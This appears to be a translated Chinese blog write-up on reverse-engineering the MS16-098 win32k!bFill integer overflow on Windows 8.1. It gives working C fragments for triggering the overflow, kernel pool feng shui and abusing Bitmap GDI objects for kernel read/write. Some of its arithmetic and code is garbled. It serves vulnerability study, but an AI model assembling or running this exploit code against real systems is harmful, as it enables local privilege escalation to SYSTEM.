從MS16-098看Windows 8.1內(nèi)核漏洞利用
前言
在我剛開始接觸內(nèi)核漏洞時(shí)我沒有任何有關(guān)內(nèi)核的經(jīng)驗(yàn),更不用說去利用內(nèi)核漏洞了,但我總是對于逆向工程和漏洞利用技術(shù)非常感興趣。
最初,我的想法很簡單:找到一個(gè)目前還沒有可用exploit的可利用漏洞的補(bǔ)丁,從它開始我的逆向工程以及利用的旅途。這篇文章里談及的漏洞不是我的最早選的那個(gè):那個(gè)測試失敗了。這實(shí)際上是我的第二選擇,我花費(fèi)了4個(gè)月的時(shí)間來了解有關(guān)這個(gè)漏洞的一切。
我希望這篇博客可以幫到那些渴望了解逆向工程和exploit開發(fā)的人。這是一個(gè)漫長的過程,而我又是一個(gè)內(nèi)核exploit開發(fā)方面的新手,所以我希望你在閱讀這篇文章時(shí)能夠保持耐心。
使用的工具
Expand.exe (用于MSU文件)
Virtual KD http://virtualkd.sysprogs.org/(他們說自己比正常的內(nèi)核調(diào)試要快上45倍是真的)
Windbg (kd)
IDA professional. https://www.hex-rays.com/products/ida/
Zynamics BinDiff IDA plugin. https://www.zynamics.com/bindiff.html
Expand.exe的使用
Expand.exe可以用來從微軟更新文件(MSU)和CAB文件中提取文件。
使用以下命令更新和提取CAB文件到指定目錄:
- Expand.exe -F:* [PATH TO MSU] [PATH TO EXTRACT TO]
- Expand.exe -F:* [PATH TO EXTRACTED CAB] [PATH TO EXTRACT TO]
如果命令后面接地址,會根據(jù)符號定義的結(jié)構(gòu)進(jìn)行dump
!pool,!poolfind和!poolused命令在我分析內(nèi)核池溢出,進(jìn)行內(nèi)核池風(fēng)水時(shí)幫了我很多。
一些有用的例子:
要dump指定地址的內(nèi)核池頁面布局,我們可以使用以下命令:
- kd> !poolused [POOLTYPE] [POOLTAG]
要檢索指定池類型中的指定池標(biāo)記的對象的分配數(shù)量:
- kd> !poolused [POOLTYPE] [POOLTAG]
要為指定的池標(biāo)記搜索提供的池類型的完整分配的內(nèi)核池地址空間。
- kd> !poolfind [POOLTAG] [POOLTYPE]
Windbg使用技巧
相比其他調(diào)試器我個(gè)人更喜歡Windbg,因?yàn)樗С忠恍┖苡杏玫拿?,特別是對于內(nèi)核調(diào)試來說。
- kd> dt [OBJECT SYMBOL NAME] [ADDR]
dt命令使用符號表定義的結(jié)構(gòu)來dump內(nèi)存,這在分析對象時(shí)非常有用,并且可以在對象的符號已導(dǎo)出時(shí)了解一些特殊的情況。
使用這個(gè)命令時(shí)如果不加地址那么會直接顯示這個(gè)對象的結(jié)構(gòu)。例如,要查看EPROCESS對象的結(jié)構(gòu),我們可以使用以下命令。
通過補(bǔ)丁對比來了解漏洞原理
下載好更新文件,我們打開后發(fā)現(xiàn)被修改了的文件是win32k.sys,版本是6.3.9600.18405。當(dāng)與其舊版本6.3.9600.17393進(jìn)行二進(jìn)制對比時(shí),我們使用的是IDA的Zynamics BinDiff插件??梢园l(fā)現(xiàn)一個(gè)發(fā)生了更改的有趣函數(shù)的相似性評級是0.98。存在漏洞的函數(shù)是win32k!bFill。下面是兩個(gè)版本之中的區(qū)別。
diff快速的展示出了一個(gè)整數(shù)溢出漏洞是如何通過加入一個(gè)UlongMult3函數(shù)來修補(bǔ)的,這個(gè)函數(shù)通過相乘來檢測整數(shù)溢出。如果結(jié)果溢出了對象類型(即ULONG),則返回錯(cuò)誤“INTSAFE_E_ARITHMETIC_OVERFLOW”。
這個(gè)函數(shù)被添加在調(diào)用PALLOCMEM2之前,PALLOCMEM2使用了一個(gè)經(jīng)過檢查的參數(shù)[rsp + Size]。這確認(rèn)了這個(gè)整數(shù)溢出將導(dǎo)致分配小尺寸的對象; 那么問題是——這個(gè)值可以被用戶通過某種方式控制嗎?
當(dāng)面臨一個(gè)復(fù)雜問題的時(shí)候,建議先將它分解為更小的問題。 因?yàn)閮?nèi)核漏洞利用是一個(gè)大問題,所以一步一步進(jìn)行似乎是一種好方法。步驟如下:
- 擊中存在漏洞的函數(shù)
- 控制分配的大小
- 內(nèi)核內(nèi)存池(pool)Feng Shui技術(shù)
- 利用GDI位圖對象(Bitmap GDI objects)
- 分析并且控制溢出
- 修復(fù)溢出的頭部
- 從SYSTEM進(jìn)程的內(nèi)核進(jìn)程對象(EPROCESS)中偷取表示權(quán)限的Token
- 成功得到SYSTEM權(quán)限
Step 1 –觸發(fā)漏洞函數(shù)
首先,我們需要了解如何通過查看IDA中的函數(shù)定義來擊中漏洞函數(shù)。可以看出,該函數(shù)在EPATHOBJ上起作用,并且函數(shù)名“bFill”說明它與填充路徑有關(guān)。通過用谷歌搜索“msdn路徑填充”,我得到了BeginPath函數(shù)和示例程序。
- bFill@(struct EPATHOBJ *@, struct _RECTL *@, unsigned __int32@, void (__stdcall *)(struct _RECTL *, unsigned __int32, void *)@, void *)
理論上來說,如果我們使用示例中的代碼,它應(yīng)該會擊中漏洞函數(shù)?
- // Get Device context of desktop hwnd
- hdc = GetDC(NULL);
- //begin the drawing path
- BeginPath(hdc);
- // draw a line between the supplied points.
- LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i])));
- //End the path
- EndPath(hdc);
- //Fill Path
- FillPath(hdc);
好吧,這沒有實(shí)現(xiàn)。所以我在windbg中對每個(gè)函數(shù)的起始部分都添加了一個(gè)斷點(diǎn)。
- EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill()
再次運(yùn)行示例代碼,發(fā)現(xiàn)第一個(gè)函數(shù)被命中,然后不再繼續(xù)命中最后的函數(shù)是EngFastFill。為了不讓深入的逆向分析過程給讀者增加無聊的細(xì)節(jié),我們這里直接給出結(jié)論。簡而言之,這個(gè)函數(shù)是一個(gè)switch case結(jié)構(gòu),將最終會調(diào)用bPaintPath,bBrushPath或bBrushPathN_8x8。到底調(diào)用哪個(gè)則取決于一個(gè)畫刷對象(brush object)關(guān)聯(lián)的hdc。上面的代碼甚至沒有執(zhí)行到switch case,它在之前就失敗了。我發(fā)現(xiàn)有四種設(shè)備上下文類型
- 打印機(jī)
- 顯示,它是默認(rèn)值
- 信息
- 內(nèi)存,它支持對位圖對象的繪制操作。
根據(jù)提供的信息,我嘗試將設(shè)備類型轉(zhuǎn)換為內(nèi)存(位圖)如下:
- // Get Device context of desktop hwnd
- HDC hdc = GetDC(NULL);
- // Get a compatible Device Context to assign Bitmap to
- HDC hMemDC = CreateCompatibleDC(hdc);
- // Create Bitmap Object
- HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
- // Select the Bitmap into the Compatible DC
- HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
- //Begin path
- BeginPath(hMemDC);
- // draw a line between the supplied points.
- LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i])));
- // End the path
- EndPath(hMemDC);
- // Fill the path
- FillPath(hMemDC);
事實(shí)證明,這正是擊中漏洞函數(shù)bFill所需要做的。
- Step 2 – Controlling the Allocation Size:
來看看分配部分的代碼
在調(diào)用分配函數(shù)之前,首先檢查[rbx + 4](rbx是我們的第一個(gè)參數(shù),即EPATHOBJ)的值是否大于0x14.如果大于,則這個(gè)值被乘以3就是這里導(dǎo)致的整數(shù)溢出。
- lea ecx, [rax+rax*2];
溢出發(fā)生實(shí)際上有兩個(gè)原因:一是這個(gè)值被轉(zhuǎn)換到32位寄存器ecx中和二是[rax + rax * 2]意味著值被乘以3。通過一些計(jì)算,我們可以得出結(jié)論,要溢出這個(gè)函數(shù)的值需要是:
- 0xFFFFFFFF / 3 = 0x55555555
任何大于上面的值都可以溢出32位的寄存器。
- 0x55555556 * 3 = 0x100000002
然后,做完乘法的結(jié)果又向左移了4位,一般左移4位被認(rèn)為等同于乘以2 ^ 4。
- 0x100000002 << 4 | 0x100000002 * 2^4) = 0x00000020 (32位寄存器值)
目前為止,仍然沒有結(jié)論如何去控制這個(gè)值,所以我決定閱讀更多關(guān)于使用PATH對象進(jìn)行Windows GDI利用的帖子,看看有沒有什么思路。我很巧合的看到了一篇博文,討論的是MS16-039的利用過程。這篇博文中討論的漏洞與我們當(dāng)前攻擊的目標(biāo)函數(shù)擁有相同的代碼,就好像有人在這兩個(gè)函數(shù)中復(fù)制粘貼代碼一樣。如果沒有這篇博客,那么我會花費(fèi)更多的時(shí)間在這上面,所以非常感謝你,NicoEconomou。
但是,人們會想當(dāng)然的認(rèn)為,可以直接從里面拿到一個(gè)偉大的指南,但實(shí)際上根本不是這樣。雖然這篇文章真的很有助于利用思路。但真正的價(jià)值是,對于一對不同的利用,和我這樣一個(gè)根本沒有內(nèi)核開發(fā)和內(nèi)核利用經(jīng)驗(yàn)的人,我不得不深入到利用過程中的每個(gè)方面,并了解它的工作原理。就是說——“授人以魚不如授人以漁”
我們繼續(xù),那個(gè)值是PATH對象中的point數(shù),并且可以通過多次調(diào)用PolylineTo函數(shù)來控制。觸發(fā)50字節(jié)分配的代碼是:
- //Create a Point array
- static POINT points[0x3fe01];
- // Get Device context of desktop hwnd
- HDC hdc = GetDC(NULL);
- // Get a compatible Device Context to assign Bitmap to
- HDC hMemDC = CreateCompatibleDC(hdc);
- // Create Bitmap Object
- HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
- // Select the Bitmap into the Compatible DC
- HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
- //Begin path
- BeginPath(hMemDC);
- // Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01.
- for (int j = 0; j < 0x156; j++) {
- PolylineTo(hMemDC, points, 0x3FE01);
- }
- }
- // End the path
- EndPath(hMemDC);
- // Fill the path
- FillPath(hMemDC);
通過以point數(shù)0x3FE01調(diào)用PolylineTo函數(shù)0x156次將產(chǎn)生
- 0x156 * 0x3FE01 = 0x5555556
注意,這個(gè)數(shù)字小于前面計(jì)算產(chǎn)生的數(shù)字,原因是實(shí)際中當(dāng)該位左移4位時(shí),最低的半字節(jié)將被移出32位寄存器,而剩下的是小數(shù)。另一件值得一提的是,應(yīng)用程序?qū)⑾騪oint列表中添加一個(gè)額外的point,因此傳遞給溢出指令的數(shù)字將為0x5555557。讓我們計(jì)算一下,看看它會如何工作。
- 0x5555557 * 0x3 = 0x10000005
- 0x10000005 << 44 = 0x00000050
到那時(shí)候,將會分配50字節(jié)大小,應(yīng)用程序?qū)L試復(fù)制0x5555557大小的數(shù)據(jù)到那一小塊內(nèi)存,這將迅速導(dǎo)致一個(gè)藍(lán)屏,并且我們成功的觸發(fā)了漏洞!
Step 3 – 內(nèi)核內(nèi)存池Feng Shui:
現(xiàn)在開始困難的部分:內(nèi)核池風(fēng)水
內(nèi)核池風(fēng)水是一種用于控制內(nèi)存布局的技術(shù),通過分配和釋放內(nèi)存的調(diào)用在目標(biāo)對象分配之前,先使內(nèi)存處于確定的狀態(tài)。這種想法是想要強(qiáng)制我們的目標(biāo)對象分配在我們可控對象的附近,然后溢出相鄰的對象并使用發(fā)生溢出的對象來利用內(nèi)存破壞原語(譯注:所謂的“內(nèi)存破壞原語”,指的應(yīng)該是一些可以被利用的指令,比如mov [eax],xxx 可以進(jìn)行寫),獲得讀/寫內(nèi)核內(nèi)存的能力。我選擇的對象是Bitmap,具有池標(biāo)簽Gh05(pool tag),他會被分配給相同的頁會話池,并且可以使用SetBitmapBits/GetBitmapBits來控制寫/讀到任意位置。
發(fā)生崩潰是因?yàn)樵赽Fill函數(shù)結(jié)束時(shí),會釋放分配的對象,當(dāng)對象被釋放時(shí),內(nèi)核會驗(yàn)證內(nèi)存池中相鄰塊的塊頭部。如果它被損壞,將拋出錯(cuò)誤BAD_POOL_HEADER并退出。由于我們溢出了相鄰的頁面,所以這個(gè)檢查將會失敗,并且會發(fā)生藍(lán)屏。
避開這個(gè)檢查導(dǎo)致的崩潰的竅門是強(qiáng)制我們的對象分配在內(nèi)存頁的結(jié)尾。這樣,將不會有下一個(gè)塊,并且對free()的調(diào)用將正常傳遞。要實(shí)現(xiàn)這個(gè)FengShui需要記住以下幾點(diǎn):
- 內(nèi)核池頁面大小為0x1000字節(jié),任何更大的分配將分配到大內(nèi)核池(Large kernel Pool)。
- 任何大于0x808字節(jié)的分配都會被分配到內(nèi)存頁的開始。
- 后續(xù)分配將從內(nèi)存頁末尾開始分配。
- 分配需要相同的池類型,在我們的情況下是分頁會話池(Paged)。
- 分配對象通常會添加大小為0x10的池頭。 如果分配的對象是0x50,分配器將實(shí)際分配0x60,包括池頭。
有了這些,就可以開發(fā)內(nèi)核池風(fēng)水了,來看看這將如何工作,看看漏洞代碼:
- void fungshuei() {
- HBITMAP bmp;
- // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
- for (int k = 0; k < 5000; k++) {
- bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1670 = 0xf80 1685 = 0xf90 allocation size 0xfa0
- bitmaps[k] = bmp;
- }
- HACCEL hAccel, hAccel2;
- LPACCEL lpAccel;
- // Initial setup for pool fengshui.
- lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
- SecureZeroMemory(lpAccel, sizeof(ACCEL));
- // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
- HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
- HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
- for (INT i = 0; i < 7000; i++) {
- hAccel = CreateAcceleratorTableA(lpAccel, 1);
- hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
- pAccels[i] = hAccel;
- pAccels2[i] = hAccel2;
- }
- // Delete the allocated bitmaps to free space at beginning of pages
- for (int k = 0; k < 5000; k++) {
- DeleteObject(bitmaps[k]);
- }
- //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
- for (int k = 0; k < 5000; k++) {
- CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
- }
- // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
- for (int k = 0; k < 5000; k++) {
- bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0
- bitmaps[k] = bmp;
- }
- // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
- for (int k = 0; k < 1700; k++) { //1500
- AllocateClipBoard2(0x30);
- }
- // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
- for (int k = 2000; k < 4000; k++) {
- DestroyAcceleratorTable(pAccels[k]);
- DestroyAcceleratorTable(pAccels2[k]);
- }
- }
可以清楚地看到分配/解除分配的流量,GIF值得一千字
通過分配/釋放調(diào)用,顯示實(shí)際發(fā)生的事情,內(nèi)核風(fēng)水的第一步是:
- HBITMAP bmp;
- // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
- for (int k = 0; k < 5000; k++) {
- bmp = CreateBitmap(1670, 2, 1, 8, NULL);
- bitmaps[k] = bmp;
- }
從5000個(gè)大小為0xf80的Bitmap對象的分配開始。這將最終開始分配新的內(nèi)存頁面,每個(gè)頁面將以大小為0xf80的Bitmap對象開始,并在頁面結(jié)尾留下0x80字節(jié)的空間。如果想要檢查噴射是否工作,我們可以在bFill內(nèi)調(diào)用PALLOCMEM,并使用poolused 0x8 Gh?5來查看分配了多少個(gè)位圖對象。另一件事是,如何計(jì)算提供給CreateBitmap()函數(shù)的大小轉(zhuǎn)換為由內(nèi)核分配的Bitmap對象。其實(shí)這只是一個(gè)近似的計(jì)算,需要不斷的嘗試和糾錯(cuò),通過不斷的更改位圖的大小,并使用poolfind命令查看分配的大小進(jìn)行修正。
- // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
- HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
- HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
- for (INT i = 0; i < 7000; i++) {
- hAccel = CreateAcceleratorTableA(lpAccel, 1);
- hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
- pAccels[i] = hAccel;
- pAccels2[i] = hAccel2;
- }
然后,分配7000個(gè)加速器表對象(Usac)。每個(gè)Usac的大小為0x40,因此其中有兩個(gè)將分配到剩下的0x80字節(jié)的內(nèi)存中。這將填充前面的分配輪次的剩余0x80字節(jié),并完全填充我們的頁面(0xf80 + 80 = 0x1000)。
- // Delete the allocated bitmaps to free space at beginning of pages
- for (int k = 0; k < 5000; k++) {
- DeleteObject(bitmaps[k]);
- }
下一次分配以前分配的對象將保留有我們的內(nèi)存頁布局,在頁的開頭有0xf80個(gè)空閑字節(jié)。
- //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
- for (int k = 0; k < 5000; k++) {
- CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
- }
分配5000個(gè)大小為0xbc0字節(jié)的區(qū)域?qū)ο?Gh04)。這個(gè)大小是必要的,因?yàn)槿绻鸅itmap對象直接放置在我們的目標(biāo)對象附近,溢出它就覆蓋不到Bitmap對象中的我們目標(biāo)的成員(在后面部分討論),而我們需要溢出這個(gè)目標(biāo)成員配合GetBitmapBits/SetBitmapBits來讀/寫內(nèi)核內(nèi)存。至于如何計(jì)算分配的對象的大小與提供給CreateEllipticRgn函數(shù)的參數(shù)相關(guān),需要通過不斷的嘗試和修正來找到的。
對于feng shui來說,內(nèi)核頁面在頁的開頭有0xbc0大小的Gh04對象,在頁的結(jié)尾有0x80字節(jié)。它們之中有0x3c0個(gè)字節(jié)的空閑空間。
- // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
- for (int k = 0; k < 5000; k++) {
- bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0
- bitmaps[k] = bmp;
- }
分配大小5000個(gè)大小為0x3c0字節(jié)的位圖對象來填充被釋放的內(nèi)存,位圖對象是我們溢出的目標(biāo)。
- // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
- for (int k = 0; k < 1700; k++) { //1500
- AllocateClipBoard2(0x30);
- }
下一步是分配1700個(gè)大小為0x60的剪貼板對象(Uscb),這只是為了在分配我們的模板對象之前填充掉大小為0x60的任何內(nèi)存。這樣一來當(dāng)對象被分配時(shí),它幾乎肯定會落入我們的內(nèi)存布局之中。Nicolas使用這個(gè)對象進(jìn)行了內(nèi)核噴射,我沒有試圖模擬free或者syscall來做到這一點(diǎn),然而發(fā)現(xiàn)了一些比較古怪的行為,基本上是使用下面的代碼將東西復(fù)制到剪貼板:
- void AllocateClipBoard(unsigned int size) {
- BYTE *buffer;
- buffer = malloc(size);
- memset(buffer, 0x41, size);
- buffer[size-1] = 0x00;
- const size_t len = size;
- HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
- memcpy(GlobalLock(hMem), buffer, len);
- GlobalUnlock(hMem);
- OpenClipboard(wnd);
- EmptyClipboard();
- SetClipboardData(CF_TEXT, hMem);
- CloseClipboard();
- GlobalFree(hMem);
- }
我發(fā)現(xiàn),如果你省略掉OpenCliboard,CloseClipBboard和EmptyClipboard直接調(diào)用SetClipboardData,那么這個(gè)對象會被分配,并且永遠(yuǎn)不會被釋放。我猜你多次調(diào)用后會發(fā)生內(nèi)存耗盡,但我并沒有進(jìn)行測試。此外,我所說的對象不能被釋放,是指即使你使用EmptyCliBoard打開和清空剪貼板,或者連續(xù)調(diào)用SetBitmapData和EmptyClipboad也不行。
- // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
- for (int k = 2000; k < 4000; k++) {
- DestroyAcceleratorTable(pAccels[k]);
- DestroyAcceleratorTable(pAccels2[k]);
- }
我們的內(nèi)核FengShui的最后一步就是在分配的加速器表對象(Usac)中打孔,正好創(chuàng)建2000個(gè)孔。內(nèi)核風(fēng)水函數(shù)也是在漏洞被觸發(fā)之前就要被調(diào)用的,如果一切順利的話我們的目標(biāo)對象將被分配到這些孔中的一個(gè),其位置在內(nèi)存頁的末尾。
Step 4 – 利用Bitmap位圖對象:
位圖對象的結(jié)構(gòu)以SURFOBJ64作為起始,后面接著的是位圖數(shù)據(jù),這個(gè)對象有三個(gè)我們感興趣的成員,sizlBitmap,pvScan0和hdev。sizlBitmap是位圖的寬度和高度,pvScan0是指向位圖數(shù)據(jù)開始的指針,hdev是指向設(shè)備句柄的指針。
- typedef struct {
- ULONG64 dhsurf; // 0x00
- ULONG64 hsurf; // 0x08
- ULONG64 dhpdev; // 0x10
- ULONG64 hdev; // 0x18
- SIZEL sizlBitmap; // 0x20
- ULONG64 cjBits; // 0x28
- ULONG64 pvBits; // 0x30
- ULONG64 pvScan0; // 0x38
- ULONG32 lDelta; // 0x40
- ULONG32 iUniq; // 0x44
- ULONG32 iBitmapFormat; // 0x48
- USHORT iType; // 0x4C
- USHORT fjBitmap; // 0x4E
- } SURFOBJ64; // sizeof = 0x50
我們利用位圖對象的方式是通過使用受控值來覆蓋sizlBitmap或pvScan0。SetBitmapBits/ GetBitmapBits要驗(yàn)證讀寫的數(shù)據(jù)量,就是使用的這兩個(gè)對象成員,它表示了位圖可用數(shù)據(jù)的大小。例如,GetBitmapBits會計(jì)算位圖的寬度x高度x4(每像素每個(gè)字節(jié)32位,作為CreateBitmap的參數(shù)),來驗(yàn)證從pvScan0指向的地址可以讀取的數(shù)據(jù)量。
如果sizlBitmap的成員被更大的寬度和高度值覆蓋,那么它將可以擴(kuò)大位圖以讀取和寫入數(shù)據(jù)。在這個(gè)漏洞中,例如,它是寬度0xFFFFFFFF×高度1×4。
如果溢出的數(shù)據(jù)可控,那么我們可以直接使用我們想要讀寫的地址來設(shè)置pvScan0成員的值。
將第一個(gè)位圖的pvScan0設(shè)置為第二個(gè)位圖的pvScan0的地址。
使用第一個(gè)位圖作為管理器,將第二個(gè)位圖的pvScan0指針設(shè)置為指向我們要讀寫的地址。
這樣,第二個(gè)位圖實(shí)際上就可以讀寫這個(gè)地址了。
對這個(gè)漏洞來說,用于溢出堆的數(shù)據(jù)不是完全可控的,因?yàn)楸粡?fù)制的數(shù)據(jù)是大小為0x30字節(jié)的point或更特定的邊緣對象。幸運(yùn)的是,如下一節(jié)所示,被重寫的一些數(shù)據(jù)可以被間接控制,并且將用值0x1和0xFFFFFFFF覆蓋掉sizlBitmap成員,這會擴(kuò)大位圖對象可以讀寫的數(shù)據(jù)量。使用的流程如下。
1.觸發(fā)溢出并覆蓋相鄰位圖對象的sizlBitmap成員。
2.使用擴(kuò)展位圖作為管理器覆蓋第二個(gè)位圖的pvScan0成員。
3.使第二個(gè)位圖作為工作者,利用它讀寫由第一個(gè)位圖設(shè)置的地址。
hdev成員的重要性將在下一節(jié)中詳細(xì)討論,主要是它要么會設(shè)置為0要么就設(shè)置為指向設(shè)備對象的指針。
Step 5 – 分析并控制溢出數(shù)據(jù):
現(xiàn)在該分析如何控制溢出了,為了更好地理解它,我們需要看看addEdgeToGet函數(shù),這個(gè)函數(shù)將point復(fù)制到新分配的內(nèi)存中。剛開始時(shí),addEdgeToGet將r11和r10寄存器的值設(shè)置為[r9+4]和[r8+4]。
然后會進(jìn)行檢查,檢查上一個(gè)point.y是否小于[r9 + 0c],而這里是0x1f0。如果是這種情況的話,當(dāng)前point會被復(fù)制到我們的緩沖區(qū)中,如果不是則跳過當(dāng)前point。還需要注意的是point.y的值向左移動了一些,例如如果前面的point.y = 0x20,則值將為0x200。
現(xiàn)在我們有了控制溢出的原語,我們還需要找出值0x1和0xFFFFFFFF是怎么被復(fù)制的。
在第一次檢查中,函數(shù)將從表示當(dāng)前point.y值的ebp寄存器中減去r10中的前一個(gè)point.y值。如果得到的結(jié)果是unsigned(譯注:js跳轉(zhuǎn)),它會將0xFFFFFFFF復(fù)制到rdx指向的緩沖區(qū)偏移0x28處。我們這里猜測,這個(gè)函數(shù)是在檢查當(dāng)前point.y到前一個(gè)point.y的方向。
在第二次檢查中,對point.x也一樣,從表示當(dāng)前point.x的ebx上減去表示上一個(gè)point.x的r8,如果結(jié)果是無符號的,函數(shù)將復(fù)制0x1到我們r(jià)15指向的緩沖區(qū)的0x24偏移處。這個(gè)操作很有意義,因?yàn)樗鼘?yīng)于上一個(gè)檢查時(shí)復(fù)制數(shù)據(jù)到0x28偏移處,而且我們的目的只是想溢出sizlBitmap結(jié)構(gòu)。對于大小為0x30字節(jié)的point結(jié)構(gòu),也會把1復(fù)制到由[r15 + 0x24]指向的對象的hdev成員中。
計(jì)算point的數(shù)量來溢出緩沖區(qū)以覆蓋sizLBitmap成員是比較容易的,并且該漏洞exploit的執(zhí)行方式是簡單地將上一個(gè)point.y值篡改為更大的值。但是這將使前面提到的那些檢查失敗,從而使得這些point不會被復(fù)制。來看一下exploit中的代碼片段。
- static POINT points[0x3fe01];
- for (int l = 0; l < 0x3FE00; l++) {
- points[l].x = 0x5a1f;
- points[l].y = 0x5a1f;
- }
- points[2].y = 20; //0x14 < 0x1f
- points[0x3FE00].x = 0x4a1f;
- points[0x3FE00].y = 0x6a1f;
這就是最初的point數(shù)組被初始化的過程,注意points[2].y的值設(shè)置為20,即十六進(jìn)制中的0x14,小于0x1f,因此將復(fù)制后續(xù)的points到我們分配的緩沖區(qū)中。
- for (int j = 0; j < 0x156; j++) { if (j > 0x1F && points[2].y != 0x5a1f) {
- points[2].y = 0x5a1f;
- }
- if (!PolylineTo(hMemDC, points, 0x3FE01)) {
- fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError());
- }
- }
然后,一個(gè)驗(yàn)證被添加到調(diào)用PolyLineTo的循環(huán)中,以檢查循環(huán)次數(shù)是否大于0x1F,如果大于就將points [2].y的值更改為大于0x1F0的值,從而使檢查失敗,由此后續(xù)的point不會再被復(fù)制到我們的緩沖區(qū)中。
這樣可以有效地控制溢出,函數(shù)會溢出緩沖區(qū)直到下一個(gè)相鄰的位圖對象的sizlBitmap成員為0x1和0xFFFFFFFF。這有效的增大了位圖對象,允許我們對這個(gè)位圖對象進(jìn)行越界讀寫。找到到底是哪個(gè)位圖對象的方法是通過循環(huán)調(diào)用GetBitmapBits函數(shù),如果得到的大小大于從我們的內(nèi)核池噴出的位圖的原始值則該位圖是被溢出的,那么它是管理器位圖,并且相鄰的下一個(gè)是工作者位圖。
- for (int k=0; k < 5000; k++) { res = GetBitmapBits(bitmaps[k], 0x1000, bits); if (res > 0x150) // if check succeeds we found our bitmap.
- }
如果一切都能按計(jì)劃進(jìn)行,我們就應(yīng)該能夠從內(nèi)存中讀取0x1000 bit。 下面有位圖對象在溢出前后,標(biāo)題,sizLBitmap和hdev成員溢出。
下面是一個(gè)位圖對象在溢出前后的成員的值
當(dāng)循環(huán)檢測是哪個(gè)位圖被執(zhí)行時(shí),會在幾次調(diào)用GetBitmapBits之后發(fā)生崩潰。崩潰發(fā)生在PDEVOBJ:: bAlowSharedAcces函數(shù)中,當(dāng)試圖從地址0x0000000100000000(它是上面重寫的位圖對象的hdev成員)讀取時(shí)。在分析時(shí)注意到位圖對象有一個(gè)成員要么是NULL要么是指向的Gdev設(shè)備對象的指針,在這種情況下這個(gè)成員是指向設(shè)備對象的指針。
函數(shù)win32k!GreGetBitmapBits會調(diào)用NEEDGRELOCK::vLock,而這個(gè)函數(shù)會接著調(diào)用PDEVOBJ::bAllowSharedAccess。通過觀察NEEDGRELOCK::vLock函數(shù)的反匯編,可以注意到這個(gè)函數(shù)使用PDEVOBJ只是為了調(diào)用PDEVOBJ::bAllowSharedAccess,如果這個(gè)函數(shù)的返回值為零,那么它將繼續(xù)進(jìn)行其他的檢查,此后就沒有再使用過PDEVOBJ了。
此外,在GreGetBitmapBits中,函數(shù)不檢查NEEDGRELOCK::vlock的返回值,執(zhí)行后,PDEVOBJ:: bAllowSharedAccess將嘗試讀取第一個(gè)功能塊中的地址,如果讀到的數(shù)據(jù)等于1,那么這個(gè)函數(shù)將以0值退出,而這是繼續(xù)執(zhí)行所要求的。
使用VirtualAlloc為此地址分配內(nèi)存并將所有的字節(jié)都設(shè)置為1,將會無錯(cuò)誤的退出函數(shù)。并且會回收GetBitmapBits使用的位圖數(shù)據(jù),整個(gè)過程不會發(fā)生崩潰。
- VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
- memset(fake, 0x1, 0x100);
Step 6 – 修復(fù)被溢出的頭部:
在這一點(diǎn)上,exploit能夠讀寫大小為0xFFFFFFFF * 1 * 4的相鄰內(nèi)存,這足以到達(dá)下一頁中的第二個(gè)相鄰位圖對象,并覆蓋要用于在內(nèi)核內(nèi)存上進(jìn)行任意讀寫的pvScan0地址。
當(dāng)exploit退出時(shí),我注意到有時(shí)在進(jìn)程退出時(shí)會發(fā)生一些與池頭有關(guān)的崩潰。解決這個(gè)問題的方案是使用GetBitmapbits,讀取下一個(gè)區(qū)域(region)和位圖對象的頭,這些對象沒有被覆蓋,然后泄露一個(gè)可以在region對象中找到的內(nèi)核地址,
計(jì)算被溢出覆蓋的區(qū)域(region)對象的地址的方法是將泄漏出來的地址的最低字節(jié)置為空,這將提供給我們當(dāng)前頁的開始的地址,然后將倒數(shù)第二個(gè)低字節(jié)減去0x10,從當(dāng)前頁的起始減去0x1000,就可以得到前一頁的開始地址。
- addr1[0x0] = 0;
- int u = addr1[0x1];
- uu = u - 0x10;
接下來要計(jì)算溢出的Bitmap對象的地址,記住region對象的大小為0xbc0,因此將在最后一步得到的地址的最低字節(jié)設(shè)置為0xc0,并將0xb加給倒數(shù)第二個(gè)最低字節(jié),將獲得發(fā)生溢出的位圖對象的頭部地址。
- ddr1[0] = 0xc0;
- int y = addr1[1];
- yy = y + 0xb;
- addr1[1] = y;
